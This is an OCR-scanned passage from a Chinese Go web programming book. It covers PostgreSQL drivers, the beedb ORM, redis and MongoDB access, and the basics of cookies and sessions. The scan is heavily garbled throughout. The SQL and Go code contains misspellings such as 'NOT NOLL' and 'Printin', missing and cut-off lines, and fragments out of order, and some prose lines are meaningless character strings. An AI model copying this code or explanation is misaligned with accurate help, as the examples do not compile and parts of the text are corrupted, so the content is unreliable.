Go 语言 实现 的 支持 PostgreSQL 的 驱动 也 很 多 ， 因 为 国外 很 多 人 在 开 
发 中 使 用 了 这 个 数据 库 。 

© https://github.com/bmizerany/pq 支 持 database/sql 驱 动 ， 纯 Go 语言 
编写 的 。 

© https://github.com/jbarham/gopgsqldriver 支 持 database/sql 驱 动 ， 纯 
Go 语言 编写 。 

© https://github.com/lxn/go-pgsql 支 持 database/sql 驱 动 ， 纯 Go 语言 
编写 


“在 下 面 的 实例 中 笔者 采用 了 第 一 个 驱动 ， 因 为 它 目 前 使 用 的 人 最 
多 ， 在 github 上 也 比较 活跃 。 


实例 代码 
数据 库 建 表 语句 如 下 。 


CREATE TABLE userinfo 
1 
uid serial NOT NULL, 
username character varying(100) NOT NULL, 
departname character varying(500) NOT NOLL, 
Created date, 
CONSTRAINT userinfo_pkey PRIMARY KEY (uid) 
) 
WITH (OTDS=FALSE) ; 


CREATE TABLE userdeatail 
( 
uid integer, 
intro character varying(100), 
profile character varying(100) 
i 
WITH (OIDS=FALSE) ; 


来 看 下 面 这 个 Go 语 


package main 








如 何 操作 数据 库 表 数据 : 


增删 改 查 。 


import ( 
"database/sql" 
ness 
"github.com/bmizerany/pq" 





func main() { 








db, err := sql.Open("postgres", "usersastaxie password-astaxie 
abname=test sslmode=disable"} 

checkErr (err) 

/7 插入 数据 

stmt, err := db.Prepare ("INSERT INTO userinfo (username, departname, 





created) VALUBS($1,$2,$3) RETURNING uii 
checkErr (err) 





) 





stmt .Exec ("astaxie", "研发 部 门 "， "2012-12-09") 
checkErr (err) 


7/pg 不 支持 这 个 函数 ， 因 为 他 没有 类 似 Myser 的 自 增 ID 
id, err := res.LastInsertId() 
checkErr (err) 





Ent .Printin(id) 


/7 更 新 数据 
stmt, err = db.Prepare ("update userinfo set username=$1 where uid= 
checkBrr (err) 





res, err = stmt.Exec("astaxieupdate", 1) 
checkErr (err) 


affect, err := res.RowsAffected () 
checkErr (err) 


fmt. Printin (affect) 


7/ 查 询 数据 


rows, err := db.Query("SELECT * FROM userinfo") 


checkErr (err) 


for rows.Next() { 
var wid i 
var username string 
var department string 
var created string 





rr (err) 
intln (uid) 

intln (username) 
intin (department) 
fmt .Printin (created) 





} 


/删除 数据 


stmt, err = db.Prepare ("delete from useri: 


checkerr (err) 


res, err = stmt.Exec(1) 
checkErr{err) 


affect, err = res.RowsAffected() 
checkErr (err) 





fmt .Printin (affect) 


db.close() 





rows Scan (suid, susername, 


adepartment, acreated) 





fo where uid=$1") 


Eii 的 代码 我 们 可 以 看 到 ，PostgreSQL 是 通过 “$1,$2” 这 种 方式 来 
指定 要 传递 的 参数 ， 而 不 是 MySQL 中 的 “?”， 另 外 在 sql.Open 中 的 dsn 信 


息 的 格式 也 与 MySQL 的 驱动 中 的 dsn 格 式 : 
它们 的 差异 。 


下 一样， 所 以 在 使 用 时 请 注意 


还 有 pg 不 支持 LastInsertId 函 数 ， 因 为 PostgreSQL 内 部 没有 实现 类 似 


MySQL 的 自 增 ID 返 回 ， 其 他 的 代码 几乎 是 一 模 一 样 。 























5.5 ”使 用 beedb 库 进行 ORM 开 发 








beedb 是 笔者 开发 的 一 个 Go 语言 进行 ORM 操 作 的 库 ， 它 采用 了 Go 

style 方 式 对 数据 库 进 行 操作 ， 实 现 了 struct 到 数据 表 记 录 的 映射 。beedb 
一 个 十 分 轻 量 级 的 Go ORM 框 架 ， 开 发 这 个 库 的 本 意 降低 复杂 的 ORM 

学 习 曲 线 ， 尽 可 能 在 ORM 的 运行 效率 和 功能 之 间 寻 求 一 个 平衡 ，beedb 
是 目前 开源 的 Go ORM 框 架 中 实现 比较 完整 的 一 个 库 ， 而 且 运 行 效率 相 
当 不 错 ， 功 能 也 基本 能 满足 需求 。 但 是 目前 还 不 支持 关系 关联 ， 这 个 是 
接 下 来 版 本 升级 的 重点 。 

beedb 是 支持 database/sql 标 准 接口 的 ORM 库 ， 所 以 理论 上 来 说 ， 只 
要 数据 库 驱 动 支持 database/sql 接 口 就 可 以 无 颖 的 接 入 beedb。 目 前 笔者 
测试 过 的 驱动 包括 以 下 几 个 。 

Mysql:github.com/ziutek/mymysql/godrv[*] 

Mysql:code.google.com/p/go-mysql-driver[*] 

PostgreSQL: github.com/bmizerany/pq[*] 

SQLite:github.com/mattn/go-sqlite3[*] 

MS ADODB: github.com/mattn/go-adodb[*] 

ODBC: bitbucket.org/miquella/mgodbc[*] 


安装 


beedb 支 持 go get 方 式 安装 ， 完 全 按照 Go Style 的 方式 来 实现 。 


go get github.com/astaxie/beedb 


如 何 初 始 化 


首先 你 需要 import 相 应 的 数据 库 驱 动 包 、database/sql 标 准 接口 包 及 
beedb 包 ， 如 下 所 示 。 
import ( 
“database/sql" 
thub.com/astaxie/beedb" 
thub.com/ziutek/mymysql/godrv" 












i 
导入 必须 的 package 之 后 ， 我 们 需要 打开 到 数据 库 的 链接 ， 然 后 创 
建 一 个 beedb 对 象 ( 以 MySQL 为 例 ) ， 如 下 所 示 。 


db, err := sal.dpen("mymysql", "test/xiemengjun/123456") 
if err != nil { 
panic(err) 


} 
orm := beedb.New (db) 


beedb 的 New 函 数 应 该 有 两 个 参数 ， 第 一 个 参数 是 标准 接口 的 db， 
第 二 个 参数 是 使 用 的 数据 库 引 擎 ， 如 果 你 使 用 的 数据 库 引 擎 是 
MySQL/Sqlite， 那 么 第 二 个 参数 可 以 省 略 。 
如 果 价 A 那么 初始 化 需要 : 
orm = beedb.New(db, "mss 
如 果 你 使 用 了 eeesGL 那么 初始 化 需要 : 
orm = beedb.New(db, "pr 
目 前 beedb 支 持 打印 调试 你 可 以 通过 如 下 的 代码 实现 调试 。 
beedb .Ondebug=t ru 
接 下 来 我 们 的 例子 采用 前 前 面 的 数据 库 表 Userinfo， 现 在 我 们 建立 相 
应 的 struct。 
G E VAREMERKE id， 那 么 需要 加 上 pk 注释 ， 显 式 的 说 这 个 字段 
是 主键 
Username string 
Departname string 
Created  time.Time 


注 ，beedp 针 对 驼峰 命名 会 自动 帮 你 转化 成 下 划 线 字段 ， 例 如 你 定 
义 Struct 名 字 为 UserInfo， 那 么 转化 成 底层 实现 的 时 候 是 user_info， 字 段 
命名 也 遵循 该 规则 。 


插入 数据 


下 面 的 代码 演示 了 如 何 插入 一 条 记录 ， 可 以 看 到 我 们 操作 的 是 
strcut 对 象 ， 而 不 是 原生 的 sq 语句， 最 后 通过 调用 Save 接 口 将 数据 保存 
到 数据 库 。 

var saveone Userinfo 

saveone.Username = "Test Add User" 

saveone.Departname = "Test Add Departname" 

saveone Created = time.Now() 

oxm.Save (@saveone) à 

插入 之 后 saveone.Uid 就 是 插入 成 功 之 后 的 自 增 ID。Save 接 口 会 自动 
帮 你 存 进去 。 

beedb 接 口 提供 了 另外 一 种 插入 的 方式 ，map 数 据 插入 。 

add := make (map[string]interface{}) 
add["username"] = "astaxie" 
add["departname"] = "cloud develop" 
add["created"] = "2012-12-02" 
orm.Set Table ("userinfo") . Insert (add) 


插入 多 条 数据 











addslice := make ([]map[string] interface(}) 
add:=make (map [string] interface{}) 

add2 :=make (map [string] interface (}) 
add{"username"| = "astaxie" 
add["departnam "cloud develop" 
add["created"] 2-12-02" 

add2 ["username"] staxie2" 

add2 ["departname"] = "cloud develop" 
add2["created"] = "2012-12-02" 

addslice =append{addslice, add, add2) 
orm.Set Table ("userinfo") .Ineert (addslice) 


上 面 的 操作 方式 有 点 类 似 链 式 查询 ， 熟 悉 jquery 的 同学 应 该 会 觉得 
很 亲切 ， 每 次 调用 的 method 都 会 返回 原 orm 对 象 ， 以 便 可 以 继续 调用 该 
对 象 上 的 其 他 method。 

我 们 调用 的 SetTable 函 数 是 显 式 的 告诉 ORM， 我 要 执行 的 这 个 map 
对 应 的 数据 库 表 是 userinfo。 


更 新 数据 


继续 上 面 的 例子 来 演示 更 新 操作 ， 现 在 saveone 的 主键 已 经 有 值 
了 ， 此 时 调用 save 接 口 ，beedb 内 部 会 自动 调用 update 以 进行 数据 的 更 新 
而 非 插入 操作 。 


saveone.Username 























saveone. Depart: "Update Departname” 
Saveone.Creat= ime .Now () 

orm. Save (£save // 现 在 saveone 有 了 主键 值 ， 就 执行 更 新 操作 
更 新 数据 也 支持 直接 使 用 map 操 作 。 


t := make (map[string] interface{}) 






ns 

我 们 调用 了 几 个 beedb 的 函数 。 

SetPK: 显 式 的 告诉 ORM， 数 据 库 表 userinfo 的 主键 是 uid。 

Where: 用 来 设置 条 件 ， 支 持 多 个 参数 ， 第 一 个 参数 如 果 为 整数 ， 
相当 于 调用 了 Where 〈" 主 键 =?", 值 ) 。Updata 函 数 接收 map 类 型 的 数 
据 ， 执 行 更 新 数据 。 


查询 数据 


beedb 的 查询 接口 比较 灵活 ， 有 具体 使 用 请 看 下 面 的 例子 。 
例 1〈 根 据 主键 获取 数据 ) 


var user Usa¥into 
/ {where 接受 两 个 参数 ， 支 持 整形 参数 
orm.Where("uid=?", 27) .Find{fsuser) 
例 2 
var user2 Userinfo 

orm.Where (3) .Find(guser2) // 这 是 上 而 版 本 的 缩 
例 3〈 不 是 主键 类 型 的 条 件 ) 

var ser3 Userinfo 

//Where 接受 两 个 参数 ， 支 持 字符 型 的 参数 
orm.Where ("name = 2", "john") .Find{guser3) 
例 4( 更 加 复杂 的 条 件 ) 


人 
//Where 支持 三 个 参数 
orm.Where ("name = ? and age < 2", "john", 88).Find(suser4) 
通过 如 下 接口 获取 多 条 数据 ， 请 看 示例 。 
例 1 (根据 条 件 id>3， 获 取 20 位 置 开始 的 10 条 数据 的 数据 ) 
var allusers []Userinfo 
err := orm.Where("id > Kia PARY Limit (10,20) -FindAll(sallusers) 
例 2〈 省 略 limit 第 二 个 参数 ， 默 认 从 0 开始 ， 获 取 10 条 数据 ) 
var tenusers []Userinfo 
err i= orm.Where ("id > 2", "3") Limit (10) .FindAl1 (&tenusers) 
例 3〔 获 取 全 部 数据 ) 
Var everyone []Userinfo 

r := orm.OrderBy ("uid desc, username asc") .FindAll (severyone) 


上 面 这 些 例 子 中 的 Limit 函 数 ， 是 用 来 控制 查询 结构 条 数 的 。 
Limit: 支持 两 个 参数 ， 第 一 个 参数 表示 查询 的 条 数 ， 第 二 个 参数 
表示 读 取 数 据 的 起 始 位置 ， 默 
OrderBy: 这 个 函数 用 查询 排序 ， 参 数 是 需要 排序 的 条 件 。 
这 些 例子 都 是 将 获取 的 数据 直接 映射 成 struct 对 象 ， 如 果 我 们 
只 是 想 获取 一 些 数据 到 map， 可 以 用 以 下 方式 实现 。 

a, — t= orm.SetTable("userinfo").SetPK("uid").Where(2).Select ("uid, 
username") .FindMap () 


上 文 和 这 个 例子 里 面 又 出 现 了 一 个 新 的 接口 函数 Select， 这 个 函数 
用 来 指定 需要 查询 多 少 个 字段 。 默 认为 全 部 字段 *。 

FindMap() 函 数 返 回 的 是 [Jmap[string][]byte 类 型 ， 所 以 读者 需要 自己 
作 类 型 转换 。 


删除 数据 


beedb 提 供 了 丰富 的 删除 数据 接口 ， 请 看 下 面 的 例子 。 
WL RRRA 





， 可 以 省 略 主键 






















/fsaveone 就 是 上 面 示例 中 的 那个 saveone 
orm.Delete(ssaveone) 


W2 CBR Ae A&B) 
//alluser 就 是 上 面 定义 的 获取 多 条 数据 的 slice 


orm,Deletenll (salluser 
例 3〈 根 据 sql 删 除数 据 ) 


orm.Set Table ("userinfo") .Where ("uid>?", 3) .DeleteRow() 
关联 查询 


目前 beedb 还 不 支持 struct 的 关联 关系 ， 但 是 有 些 应 用 却 需要 用 到 连 
接 查询 ， 所 以 现在 beedb 提 供 了 一 个 简陋 的 实现 方案 。 


= $= orm. Set Table ("userinfo") . doin ("LE 
E, uid") Where ("userinfo.uid=? 
1) Select ("userinfo wid, userinfo.username, userdeatail.profile*) .PindMap() 


我 们 从 上 面 代码 中 看 到 了 一 个 新 的 接口 Join 函 数 ， 这 个 函数 带 有 三 
个 参数 ， 分 别 如 下 。 

e 第 一 个 参数 可 以 是 INNER，LEFT，OUTER，CROSS 等 
。 第 二 个 参数 表示 连接 的 表 。 
。 第 三 个 参数 表示 连接 的 条 件 。 





, "userdeatail", "userinfo 





Group By 和 Having 


针对 有 些 应 用 需要 用 到 group by 和 having 的 功能 ，beedb 也 提供 了 一 
多 陋 的 实现 。 


rm. N ) .GroupBy ("username") „Having ("username= 
aspa FindMay 


面 的 代码 中 TAT 两 个 新 接口 函数 。 
ee 用 来 指定 进行 groupby 的 字段 。 
Having: 用 来 指定 having 执 行 的 时 候 的 条 件 。 


进一步 的 发 民 


目前 beedb 已 经 获得 了 很 多 来 自 国内 外 用 户 的 反馈 ， 笔 者 也 正在 考 
虑 重 构 ， 接 下 来 会 在 如 下 几 个 方面 进行 改进 。 

。 实现 interface 设 计 ， 类 似 databse/sql/driver 的 设计 ， 设 计 beedb 的 
接口 ， 然 后 去 实现 相应 数据 库 的 CRUD 操 作 。 




















e 实现 关联 数据 库 设计 ， 支 持 一 对 一 、 一 对 多 、 多 对 多 的 实现 ， 


示例 代码 如 下 。 
type Profile struct{ Nickname string Mobile string } 
type Userinfo struct { Uid int PK Username string Departname string 


Created time.Time Profile HasOne } 
。 自动 建 库 建 表 建 索引 。 
e 实现 连接 池 的 实现 ， 采 用 goroutine。 


5.6 NOSQL 数 据 库 操作 


NoSQL (Not Only SQL) ， 指 的 是 非 关系 型 的 数据 库 。 随 着 Web2.0 
的 兴起 ， 传 统 的 关系 数据 库 在 应 付 Web2.0 网 站 ， 特 别 是 超大 规模 和 高 并 
发 的 SNS 类 型 的 Web2.0 纯 动态 网 站 已 经 显得 力不从心 ， 暴 露 了 很 多 难以 
PENRE: 而 非 关系 型 的 数据 库 则 由 于 其 本 身 的 特点 得 到 了 非常 迅速 
4 发 展 。 

Go 语言 作为 21 世 纪 的 C 语 言 ， 对 NOSQL 的 支持 也 是 很 好 ， 目 前 流 
行 的 NOSQL 主 要 有 redis、mongoDB、Cassandra 和 Membase 等 。 这 些 数 
据 库 都 有 高 性 能 、 高 并 发 读 写 等 特点 ， 目 前 已 经 广泛 应 用 于 各 种 应 用 
中 。 我 们 接 下 来 主要 讲解 一 下 redis 和 mongoDB 的 操作 。 





redis 


redis 是 一 个 key-value 存 储 系统 ， 和 Memcached 类 似 ， 它 支持 存储 的 
value 类 型 相对 更 多 ， 包 括 string (字符 串 ) 、list GER) ~ set (集合 ) 
和 zset〔〈 有 序 集合 ) 。 

目前 应 用 redis 最 广泛 的 应 该 是 新 浪 微 博 平台 ， 其 次 还 有 Facebook 收 
购 的 图 片 社交 网 站 instagram， 以 及 其 他 一 些 有 名 的 互联 网 企业 。 

Go 语言 目前 支持 redis 的 驱动 有 如 下 几 个 。 

e https://github.com/alphazero/Go-Redis 

® http://code.google.com/p/tideland-rdc/ 

e — https://github.com/simonz05/godis 

e = https://github.com/hoisie/redis.go 

笔者 fork 了 最 后 一 个 驱动 ， 更 新 了 一 些 bug， 目 前 应 用 在 笔者 的 短 域 
名 服务 项 目 中 每 天 200W 左 右 的 PV 值 》， 详 见 
https://github.com/astaxie/goredis。 

接 下 来 以 笔者 fork 的 这 个 redis 驱 动 为 例 ， 来 演示 如 何 进行 数据 的 操 


package main 


import ( 
"github.com/astaxie/goredis" 
ae 

1 


fune main() { 
var client goredis.Client, 







oredis.Client 
", [Jbyte ("hello")) 

A Get ("a") 

fmt .Printin(string(val)) 

elient.pel("a") 


/V1ist 操作 






b", "en, "a", Men) 
als { 
， [lbyteiv)) 


dbvals, client.Lrange("1", 0, 4) 
nge dbvals | 
",string(v)} 





printin(i 
} 
client.Del ("1") 


我 们 可 以 看 到 操作 redis 非 常 方便 ， 而 且 笔 者 实际 项 目 中 应 用 性 能 也 
很 高 。client 的 命令 和 redis 的 命令 基本 保持 一 致 ， 所 以 和 原生 态 操作 redis 
非常 类 似 。 





MongoDB 


MongoDB 是 一 个 高 性 能 、 开 源 、 无 模式 的 文档 型 数据 库 ， 是 介 于 
关系 数据 库 和 非 关系 数据 库 之 间 的 产品 ， 在 非 关系 数据 库 当 中 功能 最 丰 
富 ， 又 最 像 关 系数 据 库 。 它 支持 的 数据 结构 非常 松散 ， 采 用 类 似 json 的 
bjson 格 式 来 存储 数据 ， 因 此 可 以 存储 比较 复杂 的 数据 类 型 。Mongo 最 大 
的 特点 是 它 支持 的 查询 语言 非常 强大 ， 其 语法 有 点 类 似 于 面向 对 象 的 查 
询 语言 ， 几 乎 可 以 实现 类 似 关系 数据 库 单 表 查 询 的 绝 大 部 分 功能 ， 而 且 
还 支持 对 数据 建立 索引 。 


图 5.1 展 示 了 Mysql 和 MongoDB 之 间 的 对 应 关系 ， 我 们 可 以 看 出 来 
“ey 但 是 MongoDB 的 性 能 非常 好 。 





MongoDB 
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图 5.1 MongoDB 和 Mysql 的 操作 对 比 图 
目前 Go 语言 支持 MongoDB 最 好 的 驱动 就 是 mgo， 这 个 驱动 最 有 可 
能 成 为 官方 的 pkg。 
下 面 我 们 来 演示 如 何 通过 Go 语言 来 操作 MongoDB。 


Package main 


import ( 
"emt" 
“labix.org/v2/mgo" 
*Labix.org/v2/mgo/bson" 
) 


type Person struct { 
Name string 
Phone string 

} 


func main() ( 
mgo.Dial ("serverl.example. com, server2.example.com") 





defer session.Close() 
session. SetMode (mgo.Monotonic, true) 


c i= session.DB("test") .C ("people") 
err = c.Insert (sPerson{"Ale", "+55 53 8116 9639"), 
&Person("Cla", "+55 53 8402 8510"]) 
if err != nil ( 
panic (err) 
+ 


result := Person{} 
err = c,Find(bson.M{"name": “Ale”}) .One(éresult) 
if err i= nil ( 


panic(err) 


} 


fmt .Print1n("Phone:", result.Phone) 


我 们 可 以 看 出 来 mgo 的 操作 方式 和 beedb 的 操作 方式 几 乎 类 似 ， 都 是 


基于 strcut 的 操作 方式 ， 这 就 是 Go Style。 


5.7 


种 第 三 方 关系 型 数据 库 驱 动 的 使 用 。 接 着 介绍 了 beedb， 


总 结 


H 





我 们 在 本 章 讲解 了 Go 语言 如 何 设计 database/sql 接 口 ， 然 后 介绍 了 各 
种 基于 关系 





型 数据 库 的 ORM 库 ， 如 何 对 数据 库 进行 简单 的 操作 。 最 后 介绍 了 
NOSQL 的 一 些 知识 ， 目 前 Go 语言 对 于 NOSQL 支 持 较 好 ， 因 为 Go 语言 作 


为 21 世 纪 的 C 语 言 ， 对 于 21 世 纪 的 数据 库 也 支持 得 非常 好 。 

通过 本 章 的 学 习 ， 我 们 学 会 了 如 何 操作 各 种 数据 库 ， 解 决 了 数据 存 
储 的 问题 ， 这 是 Web 里 面 最 重要 的 一 部 分 ， 所 以 希望 大 家 能 够 深入 了 解 
database/sql 的 设计 思想 。 


第 6 章 ”Session 和 数据 存储 


Web 开 发 中 一 个 很 重要 的 议题 就 是 如 何 做 好 用 户 的 整个 浏览 过 程 的 
控制 ， 因 为 HTTP 协 议 是 无 状态 的 ， 所 以 用 户 的 每 一 次 请 求 都 是 无 状态 
的 ， 我 们 不 知道 在 整个 Web 操 作 过 程 中 哪些 连接 与 该 用 户 有 关 ， 应 该 如 
何 来 解决 这 个 问题 ? Web 里 面 经 典 的 解决 方案 是 Cookie 和 Session， 
Cookie 机 制 是 一 种 客户 端 机 制 ， 把 用 户 数 据 保存 在 客户 端 ， 而 Session 机 
制 是 一 种 服务 器 端的 机 制 ， 服 务 器 使 用 一 种 类 似 于 散 列表 的 结构 来 保存 
信息 ， 每 一 个 网 站 访客 都 会 被 分 配给 一 个 唯一 的 标志 符 ， 即 SessionID， 
ERNE BOE AACA 要 么 经 过 un 传递， 要么 保存 在 客户 端的 
Cookies 里 ， 当 然 ， 你 也 可 以 将 Session 保 存 到 数据 库 里 ， 这 样 会 更 安 
全 ， 但 效率 方面 会 有 所 下 降 。 

第 6.1 将 介绍 Session 机 制 和 Cookie 机 制 的 关系 和 区 别 ， 第 6.2 节 讲 

解 Go 语言 如 何 来 实现 一 个 简易 的 Session 管 理 器 ， 第 6.3 节 讲解 如 何 防止 

Session 被 动 持 的 情况 ， 如 何 有 效 地 保护 Session。 我 们 知道 Session 其 实 可 
以 存储 在 任何 地 方 ， 第 6.3 节 里 面 实现 的 Session 是 存储 在 内 存 中 的 ， 但 

是 如 果 我 们 的 应 用 进一步 扩展 了 ， 要 实现 应 用 的 Session 共 享 ， 那 么 我 们 
可 以 把 Session 存 储 在 数据 库 中 (memcache 或 者 redis) ， 第 6.4 节 将 详细 

讲解 如 何 实现 这 些 功能 。 






6.1 Session Cookie 


Session 和 Cookie 是 网 站 浏览 中 较为 常见 的 两 个 概念 ， 也 是 比较 难以 
辨析 的 两 个 概念 ， 但 它们 在 浏览 需要 认证 的 服务 页 面 及 页 面 统计 中 却 非 
常 关键 。 我 们 先 来 了 解 一 下 Session 和 Cookie 怎 么 来 的 ? 

首次 考虑 如 何 抓 取 一 个 访问 受 限 的 网 页 这 个 问题 。 如 新 浪 微 博 好 友 
的 主页 ， 个 人 微 博 页 面 等 。 

显然 ， 通 过 浏览 器 ， 我 们 可 以 手动 输入 用 户 名 和 密码 来 访问 页 面 ， 
而 所 谓 的 “ 抓 取 ”， 其 实 就 是 使 用 程序 来 模拟 完成 同样 的 工作 ， 因 此 我 们 
TETEE E TARATIA. 

当 用 户 来 到 微 博 登 陆 页 面 ， 输 入 用 户 名 和 密码 之 后 点 击 “ 登 录 ” 后 ， 
he OE 服务 器 执行 验证 逻辑 ， 如 果 
验证 通过 ， 则 浏览 器 会 跳 转 到 登录 用 户 的 微 博 首页 ， 登 录 成 功 后 ， 服 务 






显然 服务 器 不 可 能 知道 我 们 已 经 在 上 一 次 的 HTTP 请 求 中 通 
最 简单 的 解决 方案 就 是 所 有 的 请 求 里 面 都 带 上 用 户 名 
可 行 ， 但 大 大 加 重 了 服务 器 的 负担 〈 对 于 每 个 request 
冷 证 ) ， 也 大 大 降低 了 用 户 体验 (每 个 页 面 都 需要 重新 
输入 用 户 名 密码 ， 每 个 页 面 都 带 有 登录 表单 ) 。 既 然 直接 在 请 求 中 带 上 
用 户 名 与 密码 不 可 行 ， 那 么 就 只 有 在 服务 器 或 客户 端 保存 一 些 类 似 的 可 
以 代表 身份 的 信息 ， 所 以 就 有 了 Cookie 与 Session。 

Cookie， 简 而 言 之 就 是 在 本 地 计算 机 保存 一 些 用 户 操作 的 历史 信息 
(当然 包括 登录 信息 ) ， 并 在 用 户 再 次 访问 该 站 点 时 浏览 器 通过 HTTP 
ed AS RRE A tn a ts 


Session， 简 而 言 之 就 是 在 服务 器 上 保存 用 户 操作 的 历史 信息 。 服 务 
器 使 用 Session ID 来 标识 Session，Session ID 由 服务 器 负责 产生 ， 保 证 随 
机 性 与 唯一 性 ， 相 当 于 一 个 随机 密 钥 ， 避 免 在 握手 或 传输 中 暴露 用 户 真 
实 密 码 。 但 该 方式 下 ， 仍 然 需 要 将 发 送 请 求 的 客户 端 与 Session 进 行 对 
应 ， 所 以 可 以 借助 Cookie 机 制 来 获取 客户 端的 标识 〈 即 Session ID) ， 
也 可 以 通过 GET 方 式 将 ID 提交 给 服务 器 。 


都 需要 到 数据 库 











图 6.1 Cookie 的 原理 图 


返回 
naps ja] 容 
session pA 
Daas 对 应 关系 





图 6.2 Session 的 原理 图 


Cookie 


Cookie 是 由 浏览 器 维持 的 ， 存 储 在 客户 端的 一 小 段 文本 信息 ， 伴 随 
着 用 户 请 求 和 页 面 在 Web 服 务 器 和 浏览 器 之 间 传 递 。 用 户 每 次 访问 站 点 
时 ，Web 应 用 程序 都 可 以 读 取 Cookie 包 含 的 信息 。 浏 览 器 设置 里 面 有 
打开 它 ， 可 以 看 到 很 多 已 访问 网 站 的 Cookies， 如 
6.3 所 示 。 








Cookie 和 网 站 数据 e 


网 站 本 地 存储 的 数据 SAUER | weibo 
zymo mps weiba com 14 Cookie 
music weibo com 2 个 Cookie 
photo weibo.com 6 个 Cookie 
place.weibo.com 7 个 Cookie 
[NSG_wia fie... PHPSESSID | USRHAWS |[WBTGVersion | x 








[petma] utne] utz] 


hotplaza weibo com 5 ^ Cookio, ASHE HE 
g.weibo.com 本 地 存储 x 
qingweibo com 5^ Cookie, ASAE 
Weibo .com 3 个 Cookie AEA 
sass weibo com 1 个 Cookie 
service.weibo.com 2 个 Cookie 
op.service welbo com 太 地 存储 
topic. weibo com 太 地 存储 
RE 
图 6.3 浏览 器 端 保存 的 Cookie 信 息 





Cookie 是 有 时 间 限 制 的 ， 根 据 生命 期 不 同 分 成 两 种 :会话 Cookie 和 
FFA Cookie. 

如 果 不 设置 过 期 时 间 ， 则 表示 这 个 Cookie 生 命 周 期 为 从 创建 到 浏览 
器 关闭 止 ， 只 要 关闭 浏览 器 窗口 ，Cookie 就 消失 。 这 种 生命 期 为 浏览 会 
话 期 的 Cookie 被 称 为 会 话 Cookie。 会 话 Cookie 一 般 不 保存 在 硬盘 上 而 是 
保存 在 内 存 里 。 

如 果 设 置 了 过 期 时 间 (setMaxAge(60*60*24)) ， 浏 览 器 就 会 把 
Cookie 保 存 到 硬盘 上 ， 关 闭 后 再 次 打开 浏览 器 ， 这 些 Cookie 依 然 有 效 直 
到 超过 设 定 的 过 期 时 间 。 存 储 在 硬盘 上 的 Cookie 可 以 在 不 同 的 浏览 器 进 
程 间 共享 ， 比 如 两 个 正 窗口。 而 对 于 保存 在 内 存 的 Cookie， 不 同 的 浏览 
器 有 不 同 的 处 理 方式 。 
设置 Cookie 
Go 语言 中 通过 net/http 包 中 的 SetCookie 来 设置 。 








http. SetCookie @ ReaponaaWTiter，Cookie *Cookie) 
w 表 示 需 要 写 入 的 response，Cookie 是 一 个 struct， 让 我 们 来 看 一 下 
Cookie 对 象 是 怎么 样 的 。 


type Cookie struct { 


Name 
Value 
Path 
Domain 
Expires 
RawExpi 


string 
string 
string 
string 
time.Time 

res string 


// MaxAge-0 means no 'Max-Age’ attribute specified. 
// MaxAge<O means delete cookie now, equivalently 'Max-Age: 01 
// MaxAge>0 means Max-Age attribute present and given in seconds 


Maxage 
Secure 
Ettpon1 
Raw 


int 
boot 

y bool 
string 


Unparsed []string // Raw text of unparsed attribute-value pairs 


} 
以 下 例子 
expiration 
expiration 
cookie := 

expiration} 


告诉 我 们 如 何 设置 Cookie。 

:= *time.LocalTime () 

Year t= 1 

http.Cookie{Name: "username", Value: “astaxie", Expires 


http.SetCookie(w, &cookie) 


Go 语言 读 取 Cookie 


上 面 的 例 
Cookie。 


cookie, _ 


子 演示 了 如 何 设置 Cookie 数 据 ， 这 里 来 演示 一 下 如 何 读 取 


:= r.Cookie ("username") 


fmt .Fprint (w, cookie) 


另外 一 种 


读 取 方 式 如 下 所 示 。 


for _, cookie := range r.Cookies() { 
fmt.Fprint (w, cookie.Name) 


可 以 看 到 
Session 


Session, 


SEAR, H 





通过 request 获 取 Cookie 非 常 方便 。 


中 文通 常 翻译 为 会 话 ， 本 来 的 含义 是 指 有 始 有 终 的 一 系列 
如 打 电 话 ， 从 拿 起 电话 拨号 到 挂 断 电话 这 中 间 的 一 系列 





过 程 可 以 称 之 为 一 个 Session。 然 而 当 Session 一 词 与 网 络 协议 相关 联 时 ， 
它 又 往往 隐 含 了 “面向 连接 ”和 /或 “保持 状态 "这样 两 个 含义 。 


Session 在 Web 开 发 环境 下 的 语义 又 有 了 新 的 扩展 ， 它 的 含义 是 指 一 
类 用 来 在 客户 端 与 服务 器 端 之 间 保 持 状态 的 解决 方案 。 有 时 候 Session 也 
用 来 指 这 种 解决 方案 的 存储 结构 。 

Session 机 制 是 一 种 服务 器 端的 机 制 ， 服 务 器 使 用 一 种 类 似 于 散 列表 
的 结构 〈 也 可 能 就 是 使 用 散 列表 ) 来 保存 息 。 

当 程序 需要 为 某 个 客户 端的 请 求 创建 一 个 Session 的 时 候 ， 服 务 器 首 
先 检查 这 个 客户 端的 请 求 里 是 否 包 含 了 一 个 Session 标 识 一 一 称 为 Session 
ID， 如 果 已 经 包含 一 se See TONDE hea Baba 
Session， 服 务 器 就 按照 Session ID 把 这 个 Session 检 索 出 来 使 用 (如 果 检 
索 不 到 ， 可 能 会 新 建 一 个 ， 这 种 情况 可 能 出 现在 服务 端 已 时 除了 六 
户 对 应 的 Session 对 象 ， 但 用 户 人 为 地 在 请 求 的 URL 后 面 附加 上 一 
JSESSION 的 参数 。) 如 果 客 户 请 求 不 包含 Session ID, Wg /anit 
一 个 Session 并 且 同 时 生成 一 个 与 此 Session 相 关联 的 Session ID， 这 个 
Session ID 将 在 本 次 响应 中 返回 给 客户 端 保存 。 

Session 机 制 本 身 并 不 复杂 ， 然 而 其 实现 和 配置 上 的 灵活 性 却 使 得 具 
体 情况 复杂 多 变 。 这 也 要 求 我 们 不 能 把 仅仅 某 一 次 的 经 验 或 者 某 一 个 浏 
览 器 、 服 务 器 的 经 验 当 作 普 遍 适 用 的 。 





小 结 


如 上 文 所 述 ，Session 和 Cookie 的 目的 相同 ， 都 是 为 了 克服 http 协 议 
无 状态 的 缺陷 ， 但 完成 的 方法 7 Session 通 过 Cookie， 在 客户 端 保存 
Session id， 而 将 用 户 的 其 他 会 R 
此 相对 的 ，Cookie 需 要 将 所 有 人 保存 在 客户 端 。 因此 Cookie 存 在 着 
一 定 的 安全 隐患 ， 例 如 本 地 Cookie 中 保存 的 用 户 名 密码 被 破译 ， 或 
Cookie 被 其 他 网 站 收集 (例如: 1，appA 主 动 设置 域 B cookie， 让 域 B 
cookie 获 取 ; 2. XSS， 在 appA 上 通过 javascript 获 取 document.cookie， 并 
传递 给 自己 的 appB) 。 

通过 上 面 的 一 些 简单 介绍 ， 我 们 了 解 了 Cookie 和 Session 的 一 些 基础 
知识 ， 知 道 他 们 之 间 的 联系 和 区 别 ， 做 Web 开 发 之 前 ， 有 必要 将 一 些 必 
